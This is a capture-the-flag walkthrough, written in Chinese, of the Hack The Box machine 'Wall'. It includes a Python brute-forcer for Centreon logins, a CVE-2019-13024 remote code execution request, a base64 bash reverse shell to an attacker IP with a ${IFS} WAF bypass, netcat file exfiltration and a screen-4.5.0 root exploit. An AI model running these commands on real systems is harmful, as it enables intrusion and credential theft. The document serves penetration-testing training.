HTB-靶机-Wall

本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作，显示IP地址为10.10.10.157

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

信息枚举收集
https://github.com/codingo/Reconnoitre 跟autorecon类似
autorecon 10.10.10.157 -o ./Wall-autorecon

sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.157
或者

sudo masscan -p1-65535,U:1-65535 10.10.10.157 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
sudo nmap -Pn -sV -sC -p$ports 10.10.10.157

访问IP地址的80端口显示默认的apache页面，进行目录爆破

sudo gobuster dir -u http://10.10.10.157 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

访问得到的目录monitoring发现显示401认证，通过测试更改请求方法为POST可以成功绕过认证，根据显示的信息可以访问http://10.10.10.157/centreon 得到一个登录页面，centreon是个分布式监控系统，可参考：https://www.cnblogs.com/flytor/p/11440809.html

更改为post请求方法

发现响应200，显示信息提示存在一个url地址/centreon 正常使用get请求重放过去看看

显示一个登录框，网上搜索一把确认centreon是一套监控系统，此监控系统存在默认口令admin/centreon

可参考：https://www.tenable.com/plugins/nessus/80225 但是使用此默认账户密码登录失败了，同时查看burpsuite的抓包请求，发现centreon存在centreon_token认证，没错附带的token都不一样，所以常规的方法不能进行暴力破解，可以通过python代码进行暴力破解，当然也可以使用burpsuite的宏功能进行爆破，我这就是有python进行爆破

准备使用的爆破密码字典
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-passwords-shortlist.txt

爆破的python代码

#!/usr/bin/python3
import requests
from bs4 import BeautifulSoup

url = 'http://10.10.10.157/centreon/index.php'
s = requests.session()

def sendRequests(username, password):
    page = s.get(url)
    soup = BeautifulSoup(page.content, 'html.parser')
    token = soup.find('input', attrs = { 'name' : 'centreon_token' })['value']
    data = { 'useralias' : username, 'password' : password, 'submitLogin' : 'Connect', 'centreon_token' : token }
    response = s.post(url, data = data)

    if 'incorrect' not in response.text:
        print("Credentials found {}:{}".format(username, password))

with open('top-passwords-shortlist.txt') as wordlist:
    for word in wordlist:
        password = word.rstrip()
        print("[*] Trying {}".format(password))
        sendRequests('admin',password)

下面是执行的结果

kali@kali:~/Downloads/htb/wall$ python3 centreon.py
[*] Trying password
[*] Trying 123456
[*] Trying 12345678
[*] Trying abc123
[*] Trying querty
[*] Trying monkey
[*] Trying letmein
[*] Trying dragon
[*] Trying 111111
[*] Trying baseball
[*] Trying iloveyou
[*] Trying trustno1
[*] Trying 1234567
[*] Trying sunshine
[*] Trying master
[*] Trying 123123
[*] Trying welcome
[*] Trying shadow
[*] Trying ashley
[*] Trying footbal
[*] Trying jesus
[*] Trying michael
[*] Trying ninja
[*] Trying mustang
[*] Trying password1
Credentials found admin:password1

根据博客信息，可以知道要想执行命令需要请求下面uri地址且使用POST请求方法，并带上body参数
请求的uri地址
/centreon/include/configuration/configGenerate/xml/generateFiles.php

博客地址：https://shells.systems/centreon-v19-04-remote-code-execution-cve-2019-13024/

具体请求参数

POST http://10.10.10.157/centreon/include/configuration/configGenerate/xml/generateFiles.php HTTP/1.1
Host: 10.10.10.157
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.157
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.10.157/centreon/main.get.php?p=60901&o=c&server_id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=16f08s82qv7rui4vjdm8hbr6jc
Connection: close

debug=true&generate=true&poller=1

发现响应信息成功执行id命令，开始通过base64配置反弹shell，测试发现有WAF，使用{IFS}进行绕过

echo 'bash -i >& /dev/tcp/10.10.14.16/8833 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi84ODMzIDA+JjEK

使用反弹shell代码配置centreon进行反弹shell

echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi84ODMzIDA+JjEK|base64${IFS}-d|bash;

然后使用burpsuite进行重放方面的请求包，即可触发反弹shell

通过在目标靶机上信息搜集，发现一个备份文件backup

把这个backup文件传到本地kali

kali：nc -lvnp 9933 > backup.tgz
靶机：nc 10.10.14.16 9933 < /opt/.shelby/backup

目标靶机的backup文件是python字节码，可以通过uncompyle6进行反编译
安装
sudo pip3 install uncompyle6
编译
uncompyle6 backup.pyc

kali@kali:~/Downloads/htb/wall$ uncompyle6 backup.pyc
# uncompyle6 version 3.7.4
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.5 (default, Aug  2 2020, 15:09:07)
# [GCC 10.2.0]
# Embedded file name: backup.py
# Compiled at: 2019-07-30 22:38:22
import paramiko
username = 'shelby'
host = 'wall.htb'
port = 22
transport = paramiko.Transport((host, port))
password = ''
password += chr(ord('S'))
password += chr(ord('h'))
password += chr(ord('e'))
password += chr(ord('l'))
password += chr(ord('b'))
password += chr(ord('y'))
password += chr(ord('P'))
password += chr(ord('a'))
password += chr(ord('s'))
password += chr(ord('s'))
password += chr(ord('w'))
password += chr(ord('@'))
password += chr(ord('r'))
password += chr(ord('d'))
password += chr(ord('I'))
password += chr(ord('s'))
password += chr(ord('S'))
password += chr(ord('t'))
password += chr(ord('r'))
password += chr(ord('o'))
password += chr(ord('n'))
password += chr(ord('g'))
password += chr(ord('!'))
transport.connect(username=username, password=password)
sftp_client = paramiko.SFTPClient.from_transport(transport)
sftp_client.put('/var/www/html.zip', 'html.zip')
print '[+] Done !'
# okay decompiling backup.pyc

根据上面反编译的代码直接使用python交互的方式提取密码

kali@kali:~/Downloads/htb/wall$ python
Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> password = ''
>>> password += chr(ord('S'))
>>> password += chr(ord('h'))
>>> password += chr(ord('e'))
>>> password += chr(ord('l'))
>>> password += chr(ord('b'))
>>> password += chr(ord('y'))
>>> password += chr(ord('P'))
>>> password += chr(ord('a'))
>>> password += chr(ord('s'))
>>> password += chr(ord('s'))
>>> password += chr(ord('w'))
>>> password += chr(ord('@'))
>>> password += chr(ord('r'))
>>> password += chr(ord('d'))
>>> password += chr(ord('I'))
>>> password += chr(ord('s'))
>>> password += chr(ord('S'))
>>> password += chr(ord('t'))
>>> password += chr(ord('r'))
>>> password += chr(ord('o'))
>>> password += chr(ord('n'))
>>> password += chr(ord('g'))
>>> password += chr(ord('!'))
>>> password
'ShelbyPassw@rdIsStrong!'
>>>

使用这个密码ShelbyPassw@rdIsStrong! 直接ssh登录目标靶机

sshpass -p 'ShelbyPassw@rdIsStrong!' ssh -oStrictHostKeyChecking=no shelby@10.10.10.157

成功登录到目标靶机之后查找4000权限的二进制文件

shelby@Wall:~$ find / -perm -4000 2>/dev/null
/bin/mount
/bin/ping
/bin/screen-4.5.0
/bin/fusermount
/bin/su
/bin/umount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/eject/dmcrypt-get-device
shelby@Wall:~$

发现经典的screen-4.5.0漏洞，可直接提权root
https://www.exploit-db.com/exploits/41154

直接下载下来传到目标靶机上去提升到root权限

wget https://www.exploit-db.com/raw/41154
dos2unix 41154
cp 41154 screenpwn.sh
scp screenpwn.sh shelby@10.10.10.157:/tmp/
chmod +x screenpwn.sh
./screenpwn.sh